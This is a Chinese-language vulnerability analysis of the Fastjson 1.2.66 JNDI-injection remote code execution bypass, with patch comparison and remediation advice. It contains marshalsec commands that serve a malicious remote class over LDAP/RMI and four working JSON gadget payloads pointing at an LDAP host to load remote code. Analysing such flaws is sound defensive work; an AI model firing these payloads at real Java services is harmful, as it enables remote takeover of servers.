一、事件背景
近日,Fastjson发布了新版本1.2.67新增了autoType黑名单,在1.2.66及之前版本中存在大量通过JNDI注入绕过黑名单限制的而导致远程代码执行漏洞,远程攻击者可以通过构造的攻击代码触发远程代码执行漏洞,最终可以获取到服务器的控制权限。
二、漏洞信息
漏洞名称 | Fastjson 远程代码执行漏洞 |
---|---|
CVE编号 | - |
影响范围 | <=1.2.66 |
威胁等级 | 高危 |
公开时间 | 2020年3月19日 |
三、漏洞分析
3.1 补丁对比
通过对比1.2.66和1.2.67版本ParserConfig.java文件中checkautotype类的denyHashCode发现新增了16个黑名单Gadget
注:1.2.42版本之前的黑名单是以denyList形式,存在被黑客利用里面Gadget来攻击低版本的fastjson风险,之后版本码中黑名单都是以hashCode的方式存放在源码里,denyHashCode的计算方式略微复杂,增加了攻击门槛。
jndi注入产生的原因可以归结到以下4点
1、lookup参数可控。 2、InitialContext类及他的子类的lookup方法允许动态协议转换 3、lookup查找的对象是Reference类型及其子类 4、当远程调用类的时候默认会在rmi服务器中的classpath中查找,如果不存在就会去url地址去加载类。如果都加载不到就会失败。
就可以实现远程加载恶意的对象,实现远程代码执行。我们发现存在3种方法,可以通过jndi注入导致远程代码执行:
1.rmi、通过jndi reference远程调用object方法 2.LDAP 通过序列化对象,JNDI Referene,ldap地址 3.CORBA IOR 远程获取实现类
可以使用marshalsec-0.0.3-SNAPSHOT-all.jar开启rmi/ldap 调用web服务器中的恶意对象
1. LDAP 方式 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#Calc 2. RMI 方式 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8000/#Calc
本次将分析已公开的4个Gadget JndiObjectFactory
、AnterosDBCPConfig
、CacheJndiTmLookup
和JtaTransactionConfig
黑名单里有10几个Gadget,后续慢慢研究
1.org.apache.shiro.jndi.JndiObjectFactory
在org.apache.shiro-core-1.5.1.jar 包中
找lookup
public T getInstance() { try { if(requiredType != null) { return requiredType.cast(this.lookup(resourceName, requiredType)); } else { return (T) this.lookup(resourceName); }
resourceName 参数可控
Poc构造1:
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
2. br.com.anteros.dbcp.AnterosDBCPConfig
找lookup
getObjectOrPerformJndiLookup
private Object getObjectOrPerformJndiLookup(Object object) { if (object instanceof String) { try { InitialContext initCtx = new InitialContext(); return initCtx.lookup((String) object); } catch (NamingException e) { throw new IllegalArgumentException(e); } } return object;
跟一下调用,发现是传递参数为metricRegistry
Poc构造2:
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
3. org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup
找lookup
s 的值为列表jndiNames经过iterator().next遍历返回的对象序列再转化为Sting,jndiNames也是可控
Poc构造3:
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
4. com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig
找lookup
public void setProperties(Properties props) throws SQLException, TransactionException { String utxName = null; try { utxName = (String) props.get("UserTransaction"); InitialContext initCtx = new InitialContext(); userTransaction = (UserTransaction) initCtx.lookup(utxName); } catch (NamingException e) { throw new SqlMapException("Error initializing JtaTransactionConfig while looking up UserTransaction (" + utxName + "). Cause: " + e); } }
UserTransaction参数 可控
Poc构造4:
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1389/Calc"}}
四、漏洞复现
*本次复现fastsjon 1.2.66版本 为例
第1个:fastjson 受org.apache.shiro.jndi.JndiObjectFactory
影响导致RCE
第2个:fastjson 受br.com.anteros.dbcp.AnterosDBCPConfig
影响导致RCE
第3个:fastjson 受org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup
影响导致RCE
第4个:fastjson 受com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig
影响导致RCE
五、修复建议
1.官方已发布新版本
https://github.com/alibaba/fastjson/releases/tag/1.2.67
2 修复建议Fastjson默认关闭autotype,如果项目中不需要该功能,可以删除以下代码:ParserConfig.getGlobalInstance().setAutoTypeSuppo
rt(true);
六、附录
本次分析及复现的相关工具地址
https://github.com/SecurityCN/Vulnerability-analysis/tree/master/fastjson
参考:
*https://github.com/alibaba/fastjson/releases